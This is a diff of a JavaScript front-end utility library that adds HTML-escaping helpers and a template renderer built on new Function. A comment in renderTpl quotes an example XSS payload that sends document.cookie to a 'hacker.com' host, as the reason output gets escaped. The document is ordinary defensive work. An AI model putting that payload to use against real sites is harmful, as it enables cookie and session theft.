e)t.set(deepClone(r,a),deepClone(s,{...a,parent:e}));s=t}else if("Set"===r&&a.cloneSet){const t=new Set;for(const r of e)t.add(deepClone(r,{...a,parent:e}));s=t}else if("Date"===r&&a.cloneDate)s=new Date(e.getTime());else if("RegExp"===r&&a.cloneRegex){const t=e;s=new RegExp(t.source,t.flags)}else s=e,n=!1;return a.onAfterClone?.({output:s,input:e,type:r,cloned:n,parent:a.parent}),s},deepCloneToJSON=e=>{const t=getDataType(e);if("Object"===t){const t={};for(const r in e)t[r]=deepCloneToJSON(e[r]);for(const e in t)void 0===t[e]&&Reflect.deleteProperty(t,e);return t}if("Array"===t){return e.map((e,t)=>deepCloneToJSON(e)).filter(e=>void 0!==e)}return["Number","String","Boolean","Null"].includes(t)?e:void 0},arrayMutableMethods=["push","pop","shift","unshift","splice","sort","reverse","copyWithin","fill"],wrapArrayMethods=({target:e,onBeforeMutate:t=()=>{},onAfterMutate:r=()=>{},allowList:a,props:s={}})=>{if(!Array.isArray(e))throw new TypeError("The 'target' parameter must be an array.");a&&!a?.length||(a=arrayMutableMethods);const n={};for(let o of a)n[o]=function(...a){const n={},l=e.length;switch(o){case"push":case"unshift":n.addedItems=[...a];break;case"pop":n.poppedItem=e[l-1];break;case"shift":n.shiftedItem=e[0];break;case"splice":const[t,r]=a,s=t<0?Math.max(l+t,0):Math.min(t,l),o=void 0===r?l-s:r;n.deletedItems=e.slice(s,s+o);break;case"sort":case"reverse":n.oldSnapshot=[...e];break;case"fill":case"copyWithin":const i=a[1]||0,c=void 0===a[2]?l:a[2];n.oldItems=e.slice(i,c),n.start=i,n.end=c}t?.(n);const i=Array.prototype[o].apply(e,a),c={value:i,key:o,args:a,context:n,target:e,...s};return r?.(c),i};return n},escapeCharsMaps={basic:{"&":"&amp;","<":"&lt;",">":"&gt;"},attribute:{"&":"&amp;","<":"&lt;",">":"&gt;",'"':"&quot;","'":"&apos;","`":"&#x60;"},content:{"&":"&amp;","<":"&lt;",">":"&gt;",'"':"&quot;","'":"&apos;","/":"&#x2F;"},uri:{"&":"&amp;","<":"&lt;",">":"&gt;",'"':"&quot;","'":"&apos;","(":"&#40;",")":"&#41;","[":"&#91;","]":"&#93;"},paranoid:{"&":"&amp;","<":"&lt;",">":"&gt;",'"':"&quot;","'":"&apos;","`":"&#x60;","/":"&#x2F;","=":"&#x3D;","!":"&#x21;","#":"&#x23;","(":"&#40;",")":"&#41;","[":"&#91;","]":"&#93;","{":"&#x7B;","}":"&#x7D;",":":"&#x3A;",";":"&#x3B;"}},escapeRegexMaps=Object.keys(escapeCharsMaps).reduce((e,t)=>{const r=Object.keys(escapeCharsMaps[t]).map(e=>e.replace(/[.*+?^${}()|[\]\\]/g,"\\$&"));return e[t]=new RegExp(`[${r.join("")}]`,"g"),e},{}),escapeHTML=(e,t="attribute")=>{if("string"!=typeof e)return"";const r=escapeCharsMaps[t],a=escapeRegexMaps[t];return e.replace(a,e=>r[e])},getUniqueId=(e={})=>{const t=e.prefix,r=e.suffix,a=e.base10,s=e.base36;return`${t?t+"-":""}${Date.now()}${s?"-"+Math.random().toString(36).substring(2,11):""}${a?"-"+Math.floor(1e4*Math.random()).toString().padStart(4,"0"):""}${r?"-"+r:""}`},requireTypes=(e,t,r)=>{let a=Array.isArray(t)?t:[t],s=getDataType(e),n=s.toLowerCase(),o=a.map(e=>e.toLowerCase()),l=n.includes("html")?"element":n;if(r)try{if(!o.includes(l))throw new TypeError(`Expected data type(s): [${o.join(", ")}], but got: ${l}`)}catch(e){r(e,s)}else if(!o.includes(l))throw new TypeError(`Expected data type(s): [${o.join(", ")}], but got: ${l}`);return s},toSingleLine=(e,t=!1)=>{const r=e.replace(/[\r\t\n]/g,"");return t?r.replace(/\s+/g," "):r},renderTpl=(e,t,r={})=>{if(requireTypes(e,"string",e=>""),!e.trim())return"";let a=requireTypes(t,["array","object"],t=>e);if(0===Object.keys(t).length)return e;let s,n=Object.assign({strict:!1,start:"{{",end:"}}",suffix:"/"},r),o=n.start.split("").map(e=>"\\"+e).join(""),l=n.end.split("").map(e=>"\\"+e).join(""),i=new RegExp(`${o}([\\s\\S]+?)?${l}`,"g"),c='"use strict";let str=[];\n',p=0,u="",g=`__esc__${getUniqueId()}`,add=(e,t)=>(t?e.endsWith(n.suffix)?c+=e.slice(0,-n.suffix.length)+"\n":c+=n.escape?`str.push(${g}(String(${e}), "${n.escape}"));\n`:`str.push(${e});\n`:c+=""!==e?'str.push("'+e.replace(/\\/g,"\\\\").replace(/"/g,'\\"').replace(/\n/g,"\\n").replace(/\r/g,"\\r")+'");\n':"",add);for(;s=i.exec(e);)add(e.slice(p,s.index))(s[1],!0),p=s.index+s[0].length;add(e.slice(p)),c+="return str.join('');",c=toSingleLine(c);try{if(n.strict||"Array"===a)u=new Function(g,c).apply(t,[escapeHTML]);else{let e=Object.keys(t),r=Object.values(t);u=new Function(...e,g,c).bind(t)(...r,escapeHTML)}}catch(e){}return u},setMutableMethods=["add","delete","clear"],mapMutableMethods=["set","delete","clear"],wrapSetMethods=({target:e,onBeforeMutate:t=()=>{},onAfterMutate:r=()=>{},allowList:a=setMutableMethods,props:s={}})=>{if(!(e instanceof Set))throw new TypeError("The 'target' parameter must be a Set.");const n={},createWrappedMethod=a=>function(...n){const o={};switch(a){case"add":{const[t]=n;o.addedItem=t,o.existed=e.has(t);break}case"delete":{const[t]=n;o.existed=e.has(t),o.deletedItem=o.existed?t:void 0;break}case"clear":o.clearedItems=Array.from(e),o.previousSize=e.size}t(o);const l=e[a].apply(e,n),i={method:a,result:l,args:n,context:o,target:e,...s};return r(i),l};for(const e of a)setMutableMethods.includes(e)&&(n[e]=createWrappedMethod(e));return Object.defineProperty(n,"target",{get:()=>e,enumerable:!1,configurable:!1}),n},wrapMapMethods=({target:e,onBeforeMutate:t=()=>{},onAfterMutate:r=()=>{},allowList:a=mapMutableMethods,props:s={}})=>{if(!(e instanceof Map))throw new TypeError("The 'target' parameter must be a Map.");const n={},createWrappedMethod=a=>function(...n){const o={};switch(a){case"set":{const[t,r]=n;o.key=t,o.newValue=r,o.existed=e.has(t),o.oldValue=o.existed?e.get(t):void 0;break}case"delete":{const[t]=n;o.key=t,o.existed=e.has(t),o.value=o.existed?e.get(t):void 0;break}case"clear":o.clearedItems=Array.from(e.entries()),o.previousSize=e.size}t(o);const l=e[a].apply(e,n),i={method:a,result:l,args:n,context:o,target:e,...s};return r(i),l};for(const e of a)mapMutableMethods.includes(e)&&(n[e]=createWrappedMethod(e));return Object.defineProperty(n,"target",{get:()=>e,enumerable:!1,configurable:!1}),n},copyObjectWithSymbol=e=>{if(!e||"object"!=typeof e)return e;const t=e,r=Object.getOwnPropertySymbols(t).reduce((e,r)=>(e[r]=t[r],e),{});return{...t,...r}},shallowCopy=(e,t={})=>{const r=getDataType(e);return"Set"===r?new Set([...e]):"Map"===r?new Map([...e]):Array.isArray(e)?[...e]:"object"===r?copyObjectWithSymbol(e):"Date"===r?new Date(e.getTime()):"RegExp"===r?new RegExp(e.source,e.flags):"Buffer"===r?Buffer.from(e):"ArrayBuffer"===r||ArrayBuffer.isView(e)?e.slice(0):"WeakSet"===r?new WeakSet([...e]):"WeakMap"===r?new WeakMap([...e]):"Error"===r?new Error(e.message):e},deepMerge=(e,t,r={})=>{const a=Object.assign({dataMode:"clear",inheritMissing:!0,targetClone:!1,useEnable:!0,useSymbol:!0,nullBehavior:"preserve",undefinedBehavior:"preserve",deepClone:{},onBeforeMerge:void 0,onAfterMerge:void 0},r),smartMerger=(e,t,a)=>{let s,n,o=getDataType(e),l=getDataType(t),i=!0;if(a.interceptor&&"function"==typeof a.interceptor){let r=a.interceptor({target:e,source:t,targetType:o,sourceType:l,parent:a.parent});if(r){if(null===r?.target||null===r?.source)return r;e=r.target,t=r.source}}return a?.onBeforeMerge?.({target:e,source:t,targetType:o,sourceType:l,parent:a.parent}),"Object"===o&&"Object"===l?(n=deepMergeObjects(e,t,a),s="Object"):"Array"===o&&"Array"===l?(n=deepMergeArrays(e,t,a),s="Array"):"Set"===o&&"Set"===l?(n=deepMergeSets(e,t,a),s="Set"):"Map"===o&&"Map"===l?(n=deepMergeMaps(e,t,a),s="Map"):(i=!1,n=e),a?.onAfterMerge?.({result:n,target:e,source:t,targetType:o,sourceType:l,mergeType:s,parent:r.parent}),{result:n,flag:i,mergeType:s}},mergeEnableObject=(e,t)=>e?.hasOwnProperty("enable")&&"boolean"==typeof t?(e.enable=t,e):t?.hasOwnProperty("enable")&&"boolean"==typeof e?Object.assign({enable:e},t):t,deepMergeObjects=(e,t,r={})=>{let a=getDataType(e),s=getDataType(t);if("Object"!==a||"Object"!==s)return e;const n=Object.assign({inheritMissing:!0,targetClone:!1,useEnable:!0},r);let o={};o=n.targetClone?shallowCopy(e):e;for(let e in t){const a=o[e],s=t[e];if(t.hasOwnProperty(e)&&o.hasOwnProperty(e)){const t=smartMerger(a,s,{...r,parent:o});if(t.flag)t.mergeType?"Object"===t.mergeType&&(o[e]=t.result):o[e]=s;else{let t=n.useEnable?mergeEnableObject(a,s):s;a!==t&&null===t?"ignore"===n.nullBehavior||("delete"===n.nullBehavior?Reflect.deleteProperty(o,e):o[e]=t):a!==t&&void 0===t?"ignore"===n.undefinedBehavior||("delete"===n.undefinedBehavior?Reflect.deleteProperty(o,e):o[e]=s):o[e]=s}}else t.hasOwnProperty(e)&&!o.hasOwnProperty(e)&&n.inheritMissing&&(o[e]=s)}if(n.useSymbol){let e=Object.getOwnPropertySymbols(t);if(e.length)for(let r of e)o[r]=t[r]}return o},deepMergeArrays=(e,t,r={})=>{if(!Array.isArray(e)||!Array.isArray(t))return e;const a=Object.assign({dataMode:"clear",inheritMissing:!0,targetClone:!1},r),s=a.targetClone?[...e]:e;if("replace"===a.dataMode)for(let e=0;e<t.length&&(a.inheritMissing||!(e>=s.length));e++){smartMerger(s[e],t[e],{...a,parent:s}).flag||(s[e]=t[e])}else"concat"===a.dataMode||(s.length=0),s.push(...t);return s},deepMergeMaps=(e,t,r={})=>{if(!(e instanceof Map&&t instanceof Map))return e;const a=Object.assign({inheritMissing:!0,targetClone:!1,useEnable:!0},r),s=a.targetClone?new Map([...e]):e;for(const[e,n]of t.entries())if(s.has(e)){const t=s.get(e),r=n,o=smartMerger(t,r,a);o.flag?"Object"===o.mergeType&&s.set(e,o.result):s.set(e,r)}else r.inheritMissing&&s.set(e,n);return s},deepMergeSets=(e,t,r={})=>{if(!(e instanceof Set&&t instanceof Set))return e;const a=Object.assign({dataMode:"clear",inheritMissing:!0,targetClone:!1,useEnable:!0},r),s=a.targetClone?new Set(...e):e;if("replace"===a.dataMode){const e=[...s],r=[...t],n=smartMerger(e,r,a);s.clear();for(let e of n.result)s.add(e)}else if("concat"===a.dataMode)for(let e of t)s.add(e);else{s.clear();for(let e of t)s.add(e)}return s};return smartMerger(e,t,a).result},getEl=(e,t=document.body)=>{let r=getDataType(e),a=getDataType(t),s=a.includes("HTML")||"ShadowRoot"===a?t:document.querySelector(t),n=s&&s instanceof HTMLTemplateElement?s.content:s,o=null;if(e)if(r.includes("HTML"))o=e;else if("String"===r)try{o=(n||document).querySelector(e.trim())}catch{o=null}return o},isEmpty=e=>{let t,r=getDataType(e);return t=!e||("Object"===r?0===Object.keys(e).length:"Array"===r?""===e.join(""):"Function"===r?"{}"===e.toString().replace(/\s+/g,"").match(/{.*}/g)[0]:"Symbol"===r?"()"===e.toString().replace(/\s+/g,"").match(/\(.*\)/g)[0]:"Set"===r||"Map"===r?0===e.size:"Date"===r?isNaN(e.getTime()):"RegExp"===r?""===e.source:"ArrayBuffer"===r?0===e.byteLength:"NodeList"===r||"HTMLCollection"===r||"length"in e&&"number"==typeof e.length?0===e.length:"size"in e&&"number"==typeof e.size?0===e.size:"Error"===r||e instanceof Error?""===e.message:!(!r.includes("Array")||!["Uint8Array","Int8Array","Uint16Array","Int16Array","Uint32Array","Int32Array","Float32Array","Float64Array"].includes(r))&&0===e.length),t},getEls=(e,t=document.body)=>{let r=getDataType(e),a=getEl(t),s=a&&a instanceof HTMLTemplateElement?a.content:a||document,n=[];return isEmpty(e)?n:(r.includes("HTML")?n.push(e):"String"===r?n=(e=e.trim()).split(",").map(e=>[...s.querySelectorAll(e)]).flat():"Array"===r&&(n=e.map(e=>getEl(e,a))),n.filter(Boolean))},createEl=(e,t,r)=>{let a=(e=e||"div").toUpperCase().trim(),s=document.createElement(a),n=getDataType(t);if(t&&"Object"===n)for(let e in t)t.hasOwnProperty(e)&&s.setAttribute(e,"string"==typeof t[e]?t[e]:JSON.stringify(t[e]));return((e,t)=>{if(""===t||null==t)return!1;let r=getDataType(t);if("TEMPLATE"===a)e.innerHTML=t.toString();else if("Array"===r&&t.length>0)for(let r of t){if(getDataType(r).includes("HTML"))e.appendChild(r);else{let t=createEl(r.name,r.attrs,r.content);t&&e.appendChild(t)}}else if(r.includes("HTML"))e.appendChild(t);else if("String"===r&&t.trim().startsWith("#")&&t.trim().length>1){let r=getEl(t);if(!r)return;"TEMPLATE"===r.nodeName?e.appendChild(r.content.cloneNode(!0)):e.insertAdjacentHTML("beforeEnd",r.innerHTML)}else e.insertAdjacentHTML("beforeEnd",t)})(s,r),s},getSvgUri=e=>`data:image/svg+xml;utf8,${e.replace(/\n/g,"").replace(/\s+/g," ").trim().replace(/%/g,"%25").replace(/#/g,"%23").replace(/{/g,"%7B").replace(/}/g,"%7D").replace(/</g,"%3C").replace(/>/g,"%3E")}`,fileToBase64=e=>new Promise((t,r)=>{const a=new FileReader;a.onload=()=>{"string"==typeof a.result?t(a.result):r(new Error("FileReader result is not a string"))},a.onerror=()=>{r(a.error||new Error("Unknown error occurred during file reading"))},a.readAsDataURL(e)}),NAMESPACE="ax",ALIAS="rep",COMMA=",",SPACE=" ",trim=(e,t="compress")=>{if("string"!=typeof e)return"";switch(t){case"start":return e.trimStart();case"end":return e.trimEnd();case"both":return e.trim();case"global":return e.replace(/[\s\r\n]+/g,"");default:return e.trim().replace(/[\s\r\n]+/g," ")}},parseClasses=e=>{let t,r=[];return Array.isArray(e)?r=e.filter(e=>e&&"string"==typeof e):(t=(e=trim(e)).includes(",")?",":" ",r=e.split(t)),r.map(e=>trim(e,"global")).filter(Boolean)},addClasses=(e,t,r)=>{const a=getEl(e),s=parseClasses(t);a&&0!==s.length&&s.forEach(e=>{let t;r?(t=r(e),!0===t?a.classList.add(e):"string"==typeof t&&t&&a.classList.add(t)):a.classList.add(e)})},createTools=e=>{const t=createEl("span",{class:"ax-box-tools"}),renderFn=e=>{const t={},r=e.extendable?'<i rep="arrow"></i>':"",a=(e.icon?`<i rep="icon">${e.icon}</i>`:"")+(e.disk?`<i rep="disk"><img src="${e.disk}"/></i>`:"")+(e.cube?`<i rep="cube"><img src="${e.cube}"/></i>`:"")+(e.image?`<i rep="image"><img src="${e.image}"/></i>`:"")+(e.label?`<i rep="label">${e.label}</i>`:"")+r;e.title&&(t.title=e.title),e.focusable&&(t.tabindex=1),e.wrapEl=createEl(e.nodeName||"span",Object.assign(t,e.attrs),a),e.iconEl=e.wrapEl.querySelector('[rep="icon"]'),e.cubeEl=e.wrapEl.querySelector('[rep="cube"]'),e.diskEl=e.wrapEl.querySelector('[rep="disk"]'),e.imageEl=e.wrapEl.querySelector('[rep="image"]'),e.labelEl=e.wrapEl.querySelector('[rep="label"]'),!isEmpty(e.classes)&&addClasses(e.wrapEl,e.classes),!isEmpty(e.styles)&&(e.wrapEl.style.cssText+=e.styles)};for(let r of e)renderFn(r),t.appendChild(r.wrapEl),r?.action?.(r);return t},getClasses=e=>{let t=getEl(e);return t?parseClasses(t.getAttribute("class")||""):[]},removeClasses=(e,t,r)=>{const a=getEl(e),s=parseClasses(t);a&&0!==s.length&&s.forEach(e=>{let t;r?(t=r(e),!0===t?a.classList.remove(e):"string"==typeof t&&t&&a.classList.remove(t)):a.classList.remove(e)})},typeWriter=(e,t)=>{const r=t.speed||100;return new Promise(a=>{t?.onBeforeType?.(e);let s=0;const n=setInterval(()=>{if(s<e.length){const r=e.charAt(s),a=e.substring(0,s+1);t?.onDuringType?.(r,a),s++}else clearInterval(n),a(e),t?.onAfterType?.(e)},r)})},parseLLMStream=async(e,t)=>{if(!(e&&e instanceof ReadableStream))throw new Error("Invalid input: ReadableStream is missing or not an instance of ReadableStream.");const r=e.getReader(),a=new TextDecoder("utf-8");let s="";const n={fullText:"",finishReason:null,usage:null,isCompleted:!1};try{for(;;){const{done:e,value:o}=await r.read();if(e)break;s+=a.decode(o,{stream:!0});let l=s.split("\n");s=l.pop()||"";for(const e of l){const r=e.trim();if(!r||!r.startsWith("data: "))continue;const a=r.substring(6);if("[DONE]"!==a)try{const e=JSON.parse(a),r=e.choices?.[0],s=r?.delta?.content||"";s&&(n.fullText+=s,t?.(s)),r?.finish_reason&&(n.finishReason=r.finish_reason),e.usage&&(n.usage=e.usage)}catch(e){}else n.isCompleted=!0}}}catch(e){throw e}return n},toKebabCase=(e,t="",r="")=>`${t}${e.replace(/([A-Z])/g,"-$1").toLowerCase()}${r}`,trimEmptyLines=e=>null==e?"":e.replace(/^\s*\n|\n\s*$/g,"")||"",decodeHtmlEntities=e=>{if(!e)return"";const t=document.createElement("textarea");return t.innerHTML=e,t.value},utils={getDataType:getDataType,requireTypes:requireTypes,deepClone:deepClone,deepCloneToJSON:deepCloneToJSON,wrapArrayMethods:wrapArrayMethods,arrayMutableMethods:arrayMutableMethods,setMutableMethods:setMutableMethods,mapMutableMethods:mapMutableMethods,wrapSetMethods:wrapSetMethods,wrapMapMethods:wrapMapMethods,getUniqueId:getUniqueId,deepMerge:deepMerge,shallowCopy:shallowCopy,copyObjectWithSymbol:copyObjectWithSymbol,getEl:getEl,getEls:getEls,createEl:createEl,getSvgUri:getSvgUri,fileToBase64:fileToBase64,NAMESPACE:"ax",ALIAS:"rep",COMMA:",",SPACE:" ",trim:trim,parseClasses:parseClasses,getClasses:getClasses,addClasses:addClasses,removeClasses:removeClasses,createTools:createTools,typeWriter:typeWriter,parseLLMStream:parseLLMStream,toKebabCase:toKebabCase,trimEmptyLines:trimEmptyLines,decodeHtmlEntities:decodeHtmlEntities,escapeCharsMaps:escapeCharsMaps,escapeRegexMaps:escapeRegexMaps,escapeHTML:escapeHTML,toSingleLine:toSingleLine,renderTpl:renderTpl};module.exports=utils;
package/dist/utils.esm.js CHANGED
@@ -1,8 +1,8 @@
1
1
 
2
2
  /*!
3
- * @since Last modified: 2026-1-15 16:57:36
3
+ * @since Last modified: 2026-1-16 15:18:30
4
4
  * @name Utils for web front-end.
5
- * @version 0.0.35
5
+ * @version 0.0.38
6
6
  * @author AXUI development team <3217728223@qq.com>
7
7
  * @description This is a set of general-purpose JavaScript utility functions developed by the AXUI team. All functions are pure and do not involve CSS or other third-party libraries. They are suitable for any web front-end environment.
8
8
  * @see {@link https://www.axui.cn|Official website}
@@ -238,6 +238,102 @@ const wrapArrayMethods = ({ target, onBeforeMutate = () => { }, onAfterMutate =
238
238
  return methods;
239
239
  };
240
240
 
241
+ const escapeCharsMaps = {
242
+ //code或pre标签中代码高亮是使用basic
243
+ basic: {
244
+ '&': '&amp;',
245
+ '<': '&lt;',
246
+ '>': '&gt;',
247
+ },
248
+ //需要用在标签属性上attribute
249
+ attribute: {
250
+ '&': '&amp;',
251
+ '<': '&lt;',
252
+ '>': '&gt;',
253
+ '"': '&quot;',
254
+ "'": '&apos;',
255
+ '`': '&#x60;',
256
+ },
257
+ //html中的正文内容使用content
258
+ content: {
259
+ '&': '&amp;',
260
+ '<': '&lt;',
261
+ '>': '&gt;',
262
+ '"': '&quot;',
263
+ "'": '&apos;',
264
+ '/': '&#x2F;',
265
+ },
266
+ //用于url链接则使用uri
267
+ uri: {
268
+ '&': '&amp;',
269
+ '<': '&lt;',
270
+ '>': '&gt;',
271
+ '"': '&quot;',
272
+ "'": '&apos;',
273
+ '(': '&#40;',
274
+ ')': '&#41;',
275
+ '[': '&#91;',
276
+ ']': '&#93;',
277
+ },
278
+ //极致转意,避免任何注入或非法代码
279
+ paranoid: {
280
+ '&': '&amp;',
281
+ '<': '&lt;',
282
+ '>': '&gt;',
283
+ '"': '&quot;',
284
+ "'": '&apos;',
285
+ '`': '&#x60;',
286
+ '/': '&#x2F;',
287
+ '=': '&#x3D;',
288
+ '!': '&#x21;',
289
+ '#': '&#x23;',
290
+ '(': '&#40;',
291
+ ')': '&#41;',
292
+ '[': '&#91;',
293
+ ']': '&#93;',
294
+ '{': '&#x7B;',
295
+ '}': '&#x7D;',
296
+ ':': '&#x3A;',
297
+ ';': '&#x3B;',
298
+ },
299
+ };
300
+
301
+ const escapeRegexMaps = (Object.keys(escapeCharsMaps)).reduce((acc, key) => {
302
+ const chars = Object.keys(escapeCharsMaps[key]);
303
+ // Escape special regex characters to avoid issues in the regex. [ => \[
304
+ const escapedChars = chars.map((c) => c.replace(/[.*+?^${}()|[\]\\]/g, '\\$&'));
305
+ acc[key] = new RegExp(`[${escapedChars.join('')}]`, 'g');
306
+ return acc;
307
+ }, {});
308
+
309
+ const escapeHTML = (str, strength = 'attribute') => {
310
+ // Return empty string if input is null, undefined, or not a string
311
+ if (typeof str !== 'string')
312
+ return '';
313
+ const map = escapeCharsMaps[strength], regex = escapeRegexMaps[strength];
314
+ // Use String.prototype.replace with a global regex.
315
+ // The callback function retrieves the replacement from the map using the matched character as key.
316
+ return str.replace(regex, (match) => map[match]);
317
+ };
318
+
319
+ const getUniqueId = (options = {}) => {
320
+ const prefix = options.prefix, suffix = options.suffix, base10 = options.base10, base36 = options.base36;
321
+ // Current timestamp in milliseconds (since Unix epoch)
322
+ // This provides the primary uniqueness guarantee
323
+ const timestamp = Date.now(),
324
+ // Generate a base-36 random string (0-9, a-z)
325
+ // Math.random() returns a number in [0, 1), converting to base-36 gives a compact representation
326
+ // substring(2, 11) extracts 9 characters starting from index 2
327
+ //0.259854635->0.9crs03e8v2
328
+ base36Random = base36 ? '-' + Math.random().toString(36).substring(2, 11) : '',
329
+ // Additional 4-digit random number for extra randomness
330
+ // This helps avoid collisions in high-frequency generation scenarios
331
+ base10Random = base10 ? '-' + Math.floor(Math.random() * 10000).toString().padStart(4, '0') : '', prefixString = prefix ? prefix + '-' : '', suffixString = suffix ? '-' + suffix : '';
332
+ // Construct the final ID string
333
+ // Format: [prefix_]timestamp_randomBase36_extraRandom
334
+ return `${prefixString}${timestamp}${base36Random}${base10Random}${suffixString}`;
335
+ };
336
+
241
337
  const requireTypes = (data, require, cb) => {
242
338
  // Normalize the input types (convert to array if it's a single type)
243
339
  let requiredTypes = Array.isArray(require) ? require : [require], dataType = getDataType(data), typeLower = dataType.toLowerCase(),
@@ -265,22 +361,83 @@ const requireTypes = (data, require, cb) => {
265
361
  return dataType;
266
362
  };
267
363
 
268
- const getUniqueId = (options = {}) => {
269
- const prefix = options.prefix, suffix = options.suffix, base10 = options.base10, base36 = options.base36;
270
- // Current timestamp in milliseconds (since Unix epoch)
271
- // This provides the primary uniqueness guarantee
272
- const timestamp = Date.now(),
273
- // Generate a base-36 random string (0-9, a-z)
274
- // Math.random() returns a number in [0, 1), converting to base-36 gives a compact representation
275
- // substring(2, 11) extracts 9 characters starting from index 2
276
- //0.259854635->0.9crs03e8v2
277
- base36Random = base36 ? '-' + Math.random().toString(36).substring(2, 11) : '',
278
- // Additional 4-digit random number for extra randomness
279
- // This helps avoid collisions in high-frequency generation scenarios
280
- base10Random = base10 ? '-' + Math.floor(Math.random() * 10000).toString().padStart(4, '0') : '', prefixString = prefix ? prefix + '-' : '', suffixString = suffix ? '-' + suffix : '';
281
- // Construct the final ID string
282
- // Format: [prefix_]timestamp_randomBase36_extraRandom
283
- return `${prefixString}${timestamp}${base36Random}${base10Random}${suffixString}`;
364
+ const toSingleLine = (str, collapseSpaces = false) => {
365
+ const result = str.replace(/[\r\t\n]/g, '');
366
+ return collapseSpaces ? result.replace(/\s+/g, ' ') : result;
367
+ };
368
+
369
+ const renderTpl = (html, data, options = {}) => {
370
+ requireTypes(html, 'string', (error) => {
371
+ //不符合要求的类型
372
+ console.error(error);
373
+ return '';
374
+ });
375
+ if (!html.trim())
376
+ return '';
377
+ let dataType = requireTypes(data, ['array', 'object'], (error) => {
378
+ //不符合要求的类型
379
+ console.error(error);
380
+ return html;
381
+ });
382
+ //data={}/[]
383
+ if (Object.keys(data).length === 0) {
384
+ console.warn('Data is empty ({}/[]), no rendering performed, original text outputted.');
385
+ return html;
386
+ }
387
+ let opts = Object.assign({ strict: false, start: '{{', end: '}}', suffix: '/' }, options),
388
+ //regStart='\\{\\{'
389
+ regStart = opts.start.split('').map(k => '\\' + k).join(''),
390
+ //regEnd='\\}\\}'
391
+ regEnd = opts.end.split('').map(k => '\\' + k).join(''), tplReg = new RegExp(`${regStart}([\\s\\S]+?)?${regEnd}`, 'g'), code = '"use strict";let str=[];\n', cursor = 0, match, result = '',
392
+ //代替escapeHTML的方法,在字符串内部的映射,确保不会重名
393
+ escapeName = `__esc__${getUniqueId()}`, add = (fragment, isScript) => {
394
+ if (isScript) {
395
+ //处理语句类(如 {{ if(x) /}} )
396
+ if (fragment.endsWith(opts.suffix)) {
397
+ code += (fragment.slice(0, -opts.suffix.length) + '\n');
398
+ }
399
+ else {
400
+ //处理表达式类(如 {{ name }} )
401
+ //需要避免{ name: '<script>fetch("http://hacker.com?cookie=" + document.cookie)</script>' }这种情况
402
+ //虽然new Function不会执行,但是也需要将其当做纯文本输出,避免renderTpl输出的文本自带风险,此时则需要转意,确保renderTpl的返回值是安全的纯文本
403
+ code += (opts.escape ? `str.push(${escapeName}(String(${fragment}), "${opts.escape}"));\n` : `str.push(${fragment});\n`);
404
+ }
405
+ }
406
+ else {
407
+ //fragment可能自带单引号或双引号,需要转意,避免与push("xxx")语句冲突
408
+ //js语句不能直接文本换行,所以也需要转意换行符
409
+ //换行转意的另外一个意义是,保持原文本的换行,因为在toSingleLine中会删除所有物理换行以确保代码可被执行
410
+ code += (fragment !== '' ? 'str.push("' + fragment.replace(/\\/g, '\\\\').replace(/"/g, '\\"').replace(/\n/g, '\\n').replace(/\r/g, '\\r') + '");\n' : '');
411
+ }
412
+ return add;
413
+ };
414
+ while (match = tplReg.exec(html)) {
415
+ add(html.slice(cursor, match.index))(match[1], true);
416
+ cursor = match.index + match[0].length;
417
+ }
418
+ add(html.slice(cursor));
419
+ code += `return str.join('');`;
420
+ //一行行化代码
421
+ //如果文本"XXX (换行)",js执行会报错,所以需要清理换行
422
+ code = toSingleLine(code);
423
+ try {
424
+ if (opts.strict || dataType === 'Array') {
425
+ //严格模式,或者是数组数据,则必须使用this
426
+ result = new Function(escapeName, code).apply(data, [escapeHTML]);
427
+ }
428
+ else {
429
+ ////非严格模式,且是对象,则可省略this
430
+ let keys = Object.keys(data), values = Object.values(data),
431
+ //keys传参,可直接以key为值,this依然可指向data
432
+ tmp = new Function(...keys, escapeName, code).bind(data);
433
+ //执行时以value赋值
434
+ result = tmp(...values, escapeHTML);
435
+ }
436
+ }
437
+ catch (err) {
438
+ console.error(`'${err.message}'`, ' in \n', code, '\n');
439
+ }
440
+ return result;
284
441
  };
285
442
 
286
443
  const setMutableMethods = ['add', 'delete', 'clear'];
@@ -1171,6 +1328,16 @@ const trimEmptyLines = (str) => {
1171
1328
  return str.replace(/^\s*\n|\n\s*$/g, '') || '';
1172
1329
  };
1173
1330
 
1331
+ const decodeHtmlEntities = (text) => {
1332
+ // Check if the input text is empty or undefined
1333
+ if (!text)
1334
+ return '';
1335
+ // Use the browser's built-in method to decode HTML entities by setting the text as innerHTML of a temporary element
1336
+ const textArea = document.createElement('textarea');
1337
+ textArea.innerHTML = text; // The browser will automatically decode the HTML entities
1338
+ return textArea.value; // Get the decoded string from the text area
1339
+ };
1340
+
1174
1341
  const utils = {
1175
1342
  //executeStr,
1176
1343
  getDataType,
@@ -1208,6 +1375,12 @@ const utils = {
1208
1375
  parseLLMStream,
1209
1376
  toKebabCase,
1210
1377
  trimEmptyLines,
1378
+ decodeHtmlEntities,
1379
+ escapeCharsMaps,
1380
+ escapeRegexMaps,
1381
+ escapeHTML,
1382
+ toSingleLine,
1383
+ renderTpl,
1211
1384
  };
1212
1385
 
1213
1386
  export { utils as default };